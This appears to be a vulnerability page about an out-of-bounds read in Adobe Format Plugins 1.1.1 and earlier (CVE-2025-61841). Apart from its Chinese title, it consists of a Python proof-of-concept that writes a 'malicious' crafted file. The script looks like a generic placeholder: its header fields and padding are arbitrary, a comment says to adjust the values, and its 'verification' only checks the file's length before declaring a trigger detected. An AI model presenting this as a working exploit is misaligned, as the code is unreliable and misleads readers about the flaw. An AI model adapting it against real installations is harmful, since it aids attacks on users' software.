Adobe Format Plugins 1.1.1及之前版本越界读取漏洞（CVE-2025-61841）

# CVE-2025-61841 PoC - Adobe Format Plugins Out-of-bounds Read # This PoC demonstrates the vulnerability in a controlled environment import struct import os def create_malicious_format_file(): """ Create a malicious format file that triggers out-of-bounds read in Adobe Format Plugins <= 1.1.1 """ # File header with crafted data to trigger OOB read header = b'FORMAT' # Magic bytes header += struct.pack('<I', 0xFFFF) # Version field header += struct.pack('<I', 0x41414141) # Crafted offset header += struct.pack('<I', 0x100) # Size field # Payload designed to cause boundary violation # Adjust values based on specific vulnerability analysis payload = b'\x41' * 512 # Padding payload += b'\x00' * 256 # Trigger data # File metadata metadata = b'\xFF' * 128 # Malformed metadata malicious_file = header + payload + metadata output_file = 'malicious_cve_2025_61841.format' with open(output_file, 'wb') as f: f.write(malicious_file) print(f'[+] Malicious file created: {output_file}') print(f'[+] File size: {len(malicious_file)} bytes') return output_file def verify_vulnerability(target_file): """ Verify if target file can trigger the vulnerability """ print(f'[*] Analyzing file: {target_file}') try: with open(target_file, 'rb') as f: data = f.read() print(f'[*] File loaded successfully') print(f'[*] File size: {len(data)} bytes') # Check for potential OOB trigger patterns if len(data) > 0x200: print('[+] Potential OOB trigger detected') return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': print('=' * 50) print('CVE-2025-61841 PoC - Adobe Format Plugins') print('Out-of-bounds Read Vulnerability') print('=' * 50) # Create malicious file malicious_file = create_malicious_format_file() # Verify (in real scenario, this would be tested against vulnerable version) verify_vulnerability(malicious_file) print('\n[!] Note: This PoC is for educational purposes only.') print('[!] Always test in controlled environments.')